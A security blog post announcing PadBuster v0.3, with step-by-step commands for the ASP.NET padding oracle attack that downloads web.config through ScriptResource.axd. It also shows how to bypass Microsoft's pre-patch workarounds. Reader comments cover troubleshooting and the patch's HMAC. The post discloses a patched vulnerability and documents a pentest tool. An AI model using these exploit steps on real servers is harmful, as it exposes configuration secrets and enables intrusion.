RSS Feed
« Crypto Challenges at the CSAW 2010 Application CTF Qualifying Round | Main | New Version of PadBuster Available for Download »

PadBuster v0.3 and the .NET Padding Oracle Attack

Now that a weekend has passed since the .NET patch was released, and since there is already a working public example of how to reliably download a web.config using the padding oracle attack, we have decided to finally release v0.3 of PadBuster with the "Brute Force" option. This option is specifically designed to handle scenarios where the first block of ciphertext cannot be crafted using CBC-R due to a secret IV. This feature was NOT designed specifically for the .NET attack, as our intention for PadBuster is to be a universal tool for identifying and exploiting padding oracles in any web application. That being said, the brute force option CAN be used to reliably perform a web.config download attack within a reasonable number of requests.

Before discussing how to perform this attack using PadBuster, and some of the other new features in this version, it's worth noting that there are more efficient ways to perform the web.config download attack using ScriptResource.axd. The T-Block brute force attack vector, which was originally pointed out to me by James Martin of ESP Technologies and is also discussed here by Giorgio Fedon of Minded Security, is significantly faster and more efficient. This technique, however, is pretty specific to the .NET ScriptResource.axd attack and as such is not likely to be incorporated into PadBuster (a separate exploit script is probably warranted). 

The web.config attack using PadBuster is essentially a three step process. I will assume that the reader is already familiar with the specifics of why the script resource handler is vulnerable to a file download attack. If you are not familiar with the underlying issue, you can read about it here, here and here.

Step 1: Encrypt the Payload using CBC-R

The first step of the attack is to identify a component that is vulnerable to the padding oracle attack and use it to encrypt the web.config payload (|||~/web.config). This can typically be done in a few ways:

1 - Using WebResource.axd as a padding oracle for CBC-R.

If CustomErrors are NOT enabled, then you don't even need a valid ciphertext sample to exploit the can use an encoded dummy value of all NULLS instead (AAAAAAAAAAAAAAAAAAAAAA2). 
AAAAAAAAAAAAAAAAAAAAAA2 16 -encoding 3 -plaintext "|||~/web.config"

If CustomErrors ARE enabled, you can still use WebResource.axd as the oracle. The caveat, however, is that you'll need to use a valid ciphertext query string sample and use the -prefix option so that PadBuster sends this sample as the prefix of each test request. 
1s45vAJre3GVd98iQoAjgQ2 16 -encoding 3 -plaintext "|||~/web.config"
-prefix 1s45vAJre3GVd98iQoAjgQ2

2 - Using ScriptResource.axd as a padding oracle for CBC-R. 

Like with the web resource handler, this is pretty straightforward if CustomErrors are not enabled: 
1s45vAJre3GVd98iQoAjgQ2 16 -encoding 3 -plaintext "|||~/web.config"

If CustomErrors ARE enabled, this handler can also be used as a padding oracle. The interesting thing about this technique is that it seems to work despite implementing all of the workarounds that Microsoft recommended before the patch was issued (CustomErrors using RedirectMode and optional Sleep). This technique, however, requires use of the brute force option so I'll come back to that in a bit.

Step 2: Verify the encrypted payload does NOT include pipes

This step is optional, but certainly worth performing to ensure that you aren't headed down a dead end road. In order for the exploit to work, the payload you send to the handler (including the "garbage" IV block) CANNOT include any pipe characters. If it does, the payload will never work. To verify this, you can use the padding oracle to decrypt your payload and verify its contents. So assuming that Step 1 produced a payload value of "iJBC6whziIIWQhKYX4KDpwAAAAAAAAAAAAAAAAAAAAA1", then the following command would be used to verify the contents of the payload. Make sure to use the -noiv option as the first block is the one you are most interested in.

So what if your payload DOES include pipes? Not to fear, there's an easy workaround for this too. You may have noticed that when you decrypt samples using PadBuster, it prints the HEX encoded Ciphertext Bytes and Intermediate Bytes with the results of each block. You can optionally use any of these pairs along with the -ciphertext and -intermediate switches to feed PadBuster a known pair of ciphertext/intermediate values for use during CBC-R encryption. Using any one of these pairs to encrypt your exploit payload should produce a different payload than would otherwise be generated by PadBuster on its own, which can then be verified to ensure that it does not contain pipes.

Step 3: Brute force the first block

Now that you have a valid payload, the final step is to obtain the first block that will trigger the file download logic. The reason this step is tricky is that the Framework typically does not pass an IV along with the ciphertext. As such, we can't use the padding oracle to reliably produce our desired first block. 

The good news is that since you only need the first two bytes of the decrypted value to trigger our exploit (either Q#,q#,R# or r#) you can essentially brute force the needed block with fairly reliable success. And the even better news is that you’d be surprised at how quick it is to blindly brute force one of these values. 

The approach taken by PadBuster is similar, but slightly different, than the approach used by Web.config Bruter script released by Giorgio Fedon. I must again credit James Martin for originally sharing his proof of concept exploit code with me that leveraged this technique for identifying the first block. Instead of random block values, however, PadBuster performs a sequential brute force starting with all NULLS. The sequential brute force ensures that you never attempt the same block value more than once and also allows you to resume the brute force where you left off if the script gets killed (using the -resume option). The example shown below assumes the payload from our Step 2 example above:
AAAAAAAAAA1 iJBC6whziIIWQhKYX4KDpwAAAAAAAAAAAAAAAAAAAAA1 16 -encoding 3 -bruteforce -log

PadBuster's brute force mode works similar to the other modes of PadBuster, where the first step is an automated response analysis. The main difference is that rather than identifying a padding error, you want to identify an error that indicates failure of the brute force attempt rather than success. In most cases, you may have only one response to choose from...which is totally fine (unless one of the initial 256 fuzzing attempts produces a different response). In the case of ScriptResource.axd, there’s a good chance you'll have more than one as shown below.

INFO: Starting PadBuster Brute Force Mode
[+] Starting response analysis...

*** Response Analysis Complete ***

The following response signatures were returned:

ID# Freq Status Length Location
1 1 200 337 N/A
2 ** 255 404 1524 N/A

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended :

The reason for the 200 response included above is the T-Block. For our purposes, we are not using the T-Block so we can select signature #2 (the 404). PadBuster will continue issuing brute force attempts and notify you of every response that does not match this signature. You'll likely get several T-Block hits similar to the 200 response shown above before you hit a block that returns the web.config as shown below (this is just an excerpt from the output) 

Attempt 4275 - Status: 200 - Content Length: 367

Attempt 4561 - Status: 200 - Content Length: 360

Attempt 4792 - Status: 200 - Content Length: 100277

Attempt 5353 - Status: 200 - Content Length: 359

As you can imagine, it’s difficult to tell whether these responses contain anything meaningful based solely on the data that is printed to the screen. In the case of this exploit, we know that the web.config file is likely going to be much larger than the small T-Block responses which average around 500 Bytes. You can actually see that in the excerpt above, attempt number 4792 shows a much larger content length...this is the response that contains the web.config file. The inclusion of unwanted T-Block responses in our output is a result of our desire to maintain PadBuster as a universal tool that is not specific to a particular vulnerability such as this one.

You may also have noticed that our original command made use of another new option (-log). The "log" option tells PadBuster to log various output files in an automatically generated folder using the PadBuster.DDMMYY-TIME naming convention. This option is critical for use in brute force mode, since each matching response is logged to this folder and can be easily reviewed to determine whether the brute force attempt worked. For the case of a web.config download exploit, I recommend running the above command and monitoring the output folder to determine when a significantly larger response file gets created. 

Bypassing the Workarounds

Now that you've seen how to retrieve the web.config, let’s go back to an alternate technique for using ScriptResource.axd as a padding oracle. As I mentioned previously, this technique works despite implementing the recommended workarounds initially presented by Microsoft in their guidance preceding the patch release. To start, you'll need a valid ciphertext sample. The sample, however, does not have to be valid for the script resource handler (it can be taken from any Framework component...most easily from the WebResource.axd query string). 

Step 1: Find a valid T-Block Request

Using the obtained sample, along with the -bruteforce option, the following command can be used to quickly brute force a valid T-Block. The following example assumes that we were able to obtain a valid "d" value from a link to the web resource handler (/WebResource.axd?d=qmZbysenet6VGS94Ord8gQ2&t=633768217780468750). qmZbysene
t6VGS94Ord8gQ2 16 -encoding 3 -bruteforce

Once you run PadBuster with these options, and select the default error pattern, you should get a 200 response within the first few hundred requests similar to the one shown below:

Attempt 60 - Status: 200 - Content Length: 337

Step 2: Use the obtained T-Block with the -prefix option

Now you can leverage the obtained T-Block request, along with the -prefix option, to use the script resource handler as a padding oracle as shown below. qmZbysene
t6VGS94Ord8gQ2 16 -encoding 3 -noiv -prefix OwAAAAAAAAAAAAAAAAAAAKpmW8rHp3relRkveDq3fIE1

The examples above hopefully demonstrate how to use the new features of PadBuster for performing various exploits against the .NET framework. Our plan is to add more features to PadBuster where they make sense, specifically features that can be useful in against a wide variety of padding oracle attack vectors. As always, send us your feedback, modifications, bug reports, or general comments so that we can incorporate them into future versions.

Reader Comments (29)

Great Work Brian! I think your tool is amazing... it was great before and now it's even better!

The 200 vs 500 request using the T block exploit it's a good reason to say that the ScottGu's initial workaround didn't work at all. :D

It's also important also to say that if an attacker has some time he doesn't need a valid sample. Bruting some blocks is enough to find a T block. This applies to any Website that has framework 3.5 Sp1 enabled but that does not use ScriptResource.

Take some time, but it works in a reliable way:

[email protected]:~/Scrivania$ ./ 16

Total Requests:47553 (bruted with random data)

Resulting Exploit Block:0WW3GESX5oOiC8sTHAajuH6Qdcl-Q1No0NtLfi2xZTobdUKWrj2-lm7tQHWW8vlW0

October 4, 2010 | Unregistered CommenterGiorgio Fedon

Giorgio: It's not so much 200 vs 500 as one particular valid 200 result and *anything* else.

In this specific case you can just check that the resulting document matches that which you would expect for a T block message, if it does then you have a hit, otherwise you have an error page (also a 200 sometimes) or some other result code.

The beauty of using this approach is you are actually checking for valid behavior of the application. You do not care about the error reporting, just that you didn't get the result you expected. This makes it extremely hard to implement a work around as the only valid fix is to HMAC.

Personally I worked this out when I was looking at the viability of timing based attack which while I believe is viable turns out to be unnecessary in the context of the ASP.NET vuln.

October 4, 2010 | Unregistered CommenterJames Martin

@James: Yes, I found the T case failure while I was investigating for the timing attack as well. Checking 200 vs something (404 for example since ScriptResource.axd only throws those exceptions) is very good approach for bypassing the initial mitigations.

In our post we just pointed out that "ScriptResource.axd", by the fact it was flawed, it didn't need a Padding Oracle attack threatment to be compromised. Bruting the "T" block and some understanding of UTF8 encoding is enough to perform a valid attack for both encryption/decryption.

One improvement via block chaining and redundancy is that you could be able to brute more than 100 blocks per single requests, lowering the bruteforce stage to a few hundred requests (maybe less).

October 4, 2010 | Unregistered CommenterGiorgio Fedon

excellent work ;-)

October 4, 2010 | Unregistered CommenterJuliano Rizzo

thank you for the tools and all of the explanation so far.. but still i have problem for downloading web.config.
after encryption of "|||~/web.config" and testing it in decrpytion i face something like "garbageBlock+|||~/web.config".
so it has now 3pipes. so as you said now its time to use intermediate/cihpertext pairs but in this case we should again feed padbuster with plaintext option so i have to add -plaintext "|||~/web.config" for getting into encryption mode. so again it generates other "garbageBlock+|||~/web.config".
i test it with 2 different intermediate/cihpertext and the result was the same. also always last block cihpertext is 00000000000000...

so what is the problem?
i know i have problem with step2 so step3 does not work with thousands of tests.

what is your solution?

October 5, 2010 | Unregistered Commenterburner

regarding to MS workaround
After applying Padbuster v0.3 -prefix still cannot bypass scottGu workaround
All status are same "200" if the victim is using custom error.
can you explain in details how to bypass the MS workaround ,
the -prefix is only prepends the cipher text before the real cipher text, could this bypass the custom error?
it is not clear for me.

October 5, 2010 | Unregistered Commenterfreesrvs

@burner: Sorry if I was not clear...the intention of Step 2 is to ensure that there are no pipes in the "garbage" block only. The three pipes preceding the web.config should always be there as we intentionally generated our attack payload to include them.

@freesrvs: The workaround bypass refers to using ScriptResource.axd as the padding oracle. If you brute force a valid T-Block, and use this as the prefix when running against ScriptResource.axd, then it should work. You are correct that with the workaround enabled the server will respond with a "200" on every request. The content length, however, will be different when an exception occurs and since PadBuster uses content length as one of the response signature attributes, it should be able to detect the error condition.

October 5, 2010 | Unregistered CommenterBrian Holyfield

valid path for encrpytion is "|||~/web.config" not "|||/~web.config" as your samples show!!!

October 6, 2010 | Unregistered Commenterburner

@burner: Good catch, that was a typo on my part. I've gone ahead and corrected the example...apologies for any debugging that may have required.

October 6, 2010 | Unregistered CommenterBrian Holyfield

I've received several recent questions regarding the same problem when using the -prefix option to decrypt values using WebResource.axd. The issue is that as of v0.3, the -prefix option now defaults to using the same encoding that is specified by the -encoding option. This should, in turn, be much easier to use since you don’t have to do the ASCII HEX conversion.

So for example, if you are trying to decrypt, then use "1s45vAJre3GVd98iQoAjgQ2" as the prefix value and it should work as expected.

October 6, 2010 | Unregistered CommenterBrian Holyfield

Thanks, Brian, for all this fantastic information. Do you have any perspective on the differences that appear after applying the MS10-070 patch? I notice that the d values are much larger - 150 characters, in my case - than before. Thus, the tool complains that the string length does not match the block size.

My real question is this: does the patch from Microsoft change the string length of the d parameter? Is the longer string evidence of a patched system?

October 7, 2010 | Unregistered CommenterBen

@Ben: Yes, the patch does change the length of the "d" parameter values. I haven't looked at the exact changes they made so I can't say for sure what they have changed (I'm sure someone out there has reversed the patch). I would wager that they have added a MAC of some sort to detect tampering.

Check out the following blog post for a discussion on how to tell if your server has been patched or not:

October 7, 2010 | Unregistered CommenterBrian Holyfield

Same as freesrvs. I don't understand your response to him, based on blog contents:

If CustomErrors ARE enabled, you can still use WebResource.axd as the oracle. The caveat, however, is that you’ll need to use a valid ciphertext query string sample and use the -prefix option so that PadBuster sends this sample as the prefix of each test request.
1s45vAJre3GVd98iQoAjgQ2 16 -encoding 3 -plaintext "|||~/web.config"
-prefix 1s45vAJre3GVd98iQoAjgQ2

This does not help (me) when CustomErrors ARE enabled and WebResource.axd is the only option available. I have a single valid block of ciphertext, as in your example.

October 15, 2010 | Unregistered Commenterstill confused

@ben, @brian:

The patch adds a 20 byte HMAC to the ciphertext. So you'll see two extra blocks appended (assuming 16 byte blocksize) after the patch.

This allows you to do (len(urldecode(ciphertext)) % 8) != 0 to check if patch has been applied.

October 15, 2010 | Unregistered Commenterstill confused

Thanks mate it worked perfect on a pentest!

January 19, 2011 | Unregistered Commentermr_me

On last step I keep geting :

Attempt 6091 - Status: 404 - Content Length: 3503

and no 200 :(

May 14, 2011 | Unregistered CommenterDaniel

I significantly improved padBuster and am wondering if I am allowed to publicly share the modified version and its repository on some web sites or mailing lists? And in case it will be included in the official padBuster could a notice stating that parts have been improved by me be added?

Under which license exactly is padBuster? Imho it would be great if it would be under GPL or similar...

May 16, 2011 | Unregistered CommenterGW

@GW: That's great to hear! We recently moved PadBuster to GitHub (, so feel free to post your changes there or you can also send them to me and I'll incorporate them into the main branch and give you credit.

The tool is released under the Reciprocal Public License 1.5 (RPL1.5).

May 16, 2011 | Unregistered CommenterBrian Holyfield

I got Encrypted value as: -6aWjQ8IniTjv69Io6iK5wAAAAAAAAAAAAAAAAAAAAA1
There's a hyphen before 6. I think it's not valid. What could be the reason?
September 16, 2011 | Unregistered Commenterlala

I've some problem with exploitation of oracle padding.

When i test this : "" "ukENdm9f9--U_Q21KNn4Jg2" 16 -encoding 3 -plaintext "|||~/web.config"

I've this payload :


So i test if the payload is ok with encoding 3 -noiv :

2 block :

Block 1 Results:
[+] Cipher Text (HEX): 3060db5eaf1e91d1b50a8e018225080e
[+] Intermediate Bytes (HEX): b514868dd78318df4ffbb5e2d9350459
[+] Plain Text: Á¶åìÎâ↑▀O¹ÁÔ┘5♦Y

Block 2 Results:
[+] Cipher Text (HEX): 00000000000000000000000000000000
[+] Intermediate Bytes (HEX): 4c1ca7208069f4b39b69e16fe44c6f0f
[+] Plain Text: |||~/web.config☺

[+] Decrypted value (ASCII): Á¶åìÎâ↑▀O¹ÁÔ┘5♦Y|||~/web.config☺

We can see thaht the decrypted value seems to be ok.

So i launch padbuster with this option : -encoding 3 -bruteforce -log and the value : MGDbXq8ekdG1Co4BgiUIDgAAAAAAAAAAAAAAAAAAAAA1.

Just one response signature was returned :

ID# Freq Status Length Location
1 256 200 5913 N/A

After 2 days, i've just some payload that print this kind of error on the website :

Could not load file or assembly '������D�#�x�' or one of its dependencies.

Do you have some idea what is not work ?

October 25, 2011 | Unregistered CommenterNick
I need a help!
I'm trying to get a valid T-block but, have only 500 error (not usual, error at line 688 in server's script,and when I go to link, I have usual 404), and no 200.
I've checked about 36 thousends responses.
Thank you! In forward.
July 11, 2012 | Unregistered CommenterDioz
I can test script with step 1 . I received the Encrypted Value : -7QUl3RUdA3_tuG-Tk9D-AAAAAAAAAAAAAAAAAAAAAA1 but I can't run both padbuster bruteforce mode and . I think this script mis-understand character "-" between option and value of encryption string . Please help me to solve this problem

Tinh Nguyen
July 13, 2012 | Unregistered CommenterTinh Nguyen
Hi all,

I got problem when I use to bruteforce with encrypted value start with a "-" character . not distinguish "-" character between value and option . I ask many times but not answer . Please help me
July 15, 2012 | Unregistered CommenterTinh Nguyen
@Dioz: It's tough to say what the problem is without more info.

@Tinh: Try surrounding the entire string in quotes, which should prevent the script from interpreting the "-" as a switch.

- Brian
July 16, 2012 | Unregistered CommenterBrian Holyfield
Hi Brian,

I tried 2 method according your advice but failed . What should I do ?? I got this problem and try to research to solve from May to now but not yet the solutions . Please test and help me.

July 18, 2012 | Unregistered CommenterTinh Nguyen

PostPost a New Comment

Enter your information below to add a new comment.

My response is on my own website »
Author Email (optional):
Author URL (optional):
All HTML will be escaped. Hyperlinks will be created for URLs automatically.